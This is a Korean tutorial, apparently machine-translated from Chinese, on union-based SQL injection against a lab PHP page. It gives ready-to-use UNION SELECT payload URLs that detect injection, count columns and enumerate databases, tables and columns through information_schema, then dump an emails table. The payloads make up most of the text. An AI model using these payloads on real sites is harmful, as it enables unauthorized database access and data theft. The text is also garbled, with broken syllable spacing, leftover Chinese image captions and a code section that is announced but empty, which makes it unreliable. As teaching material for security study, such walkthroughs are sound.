SQL 주입 기초:1.union 주입

7332 단어 웹 보안
SQL 주입 기초:1.union 주입
1.1 union 주입 공격
1)주입 여부 판단
URL:http://www.tianchi.com/web/union.php?id=1
URL:http://www.tianchi.com/web/union.php?id=1'
URL:http://www.tianchi.com/web/union.php?id=1 and 1=1
URL:http://www.tianchi.com/web/union.php?id=1 and 1=2
SQL 주입 구멍 이 있 을 수 있 습 니 다.
2)검색 필드 수
URL:http://www.tianchi.com/web/union.php?id=1 order by 3
id=1 orderby 3 일 때 페이지 는 id=1 과 같은 결 과 를 되 돌려 줍 니 다.반면 id=1 order by 4 시 는 다 르 기 때문에 필드 수 는 3 입 니 다.
SQL注入基础:1.union注入_第1张图片
3)SQL 구문 삽입 위치 조회
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,2,3
2,3 위 치 를 볼 수 있 고 SQL 문 구 를 삽입 할 수 있 습 니 다.
SQL注入基础:1.union注入_第2张图片
4)데이터베이스 라 이브 러 리 이름 가 져 오기
(1)현재 데이터베이스 라 이브 러 리 이름 가 져 오기
2 위치 변경:database()
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3
SQL注入基础:1.union注入_第3张图片
(2)모든 데이터베이스 라 이브 러 리 이름 가 져 오기
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata
SQL注入基础:1.union注入_第4张图片
(3)데이터베이스 라 이브 러 리 이름 하나씩 가 져 오기
문장:select schemaname from information_schema.schemata limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3
SQL注入基础:1.union注入_第5张图片
두 번 째 라 이브 러 리 이름 가 져 오기:limit 1,1.
데이터베이스 라 이브 러 리 이름:informationschema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform
5)데이터베이스 테이블 이름 가 져 오기
(1)방법 1:
데이터베이스 테이블 이름 을 가 져 옵 니 다.이 방식 으로 테이블 이름 을 한 번 에 가 져 옵 니 다.2 위 치 는 다음 과 같 습 니 다.
select table_name from information_schema.tables where table_schema='security' limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3
두 번 째 표 이름:limit 1,1 을 가 져 오 면 모든 표 이름 을 가 져 올 수 있 습 니 다.
표 이름:email,referers,uagents,users.
SQL注入基础:1.union注入_第6张图片
(2)방법 2:
현재 데이터베이스 의 모든 테이블 이름 을 한꺼번에 가 져 옵 니 다:
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'
SQL注入基础:1.union注入_第7张图片
6)필드 이름 가 져 오기
(1)방법 1:
필드 이름 가 져 오기,email 표를 예 로 들 면,2 위 치 는 다음 과 같 습 니 다:
select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3
두 번 째 필드 이름 가 져 오기:limit 1,1
필드 이름:id,emailid。
SQL注入基础:1.union注入_第8张图片
(2)방법 2:
이메일 표를 예 로 들 면 모든 필드 이름 을 한꺼번에 가 져 옵 니 다:
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'
SQL注入基础:1.union注入_第9张图片
7)데이터 가 져 오기
(1)방법 1:
데 이 터 를 가 져 옵 니 다.email 표를 예 로 들 면 2,3 위 치 는 다음 과 같 습 니 다.
(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)
email 표 1,2 조 데이터 가 져 오기:
       1 : [email protected]
       2 : [email protected]
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)
SQL注入基础:1.union注入_第10张图片
(2)방법 2:
이메일 표를 예 로 들 면 모든 데 이 터 를 한꺼번에 가 져 옵 니 다.
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),id,email_id),3 from security.emails
SQL注入基础:1.union注入_第11张图片
1.2 union 주입 PHP 코드

좋은 웹페이지 즐겨찾기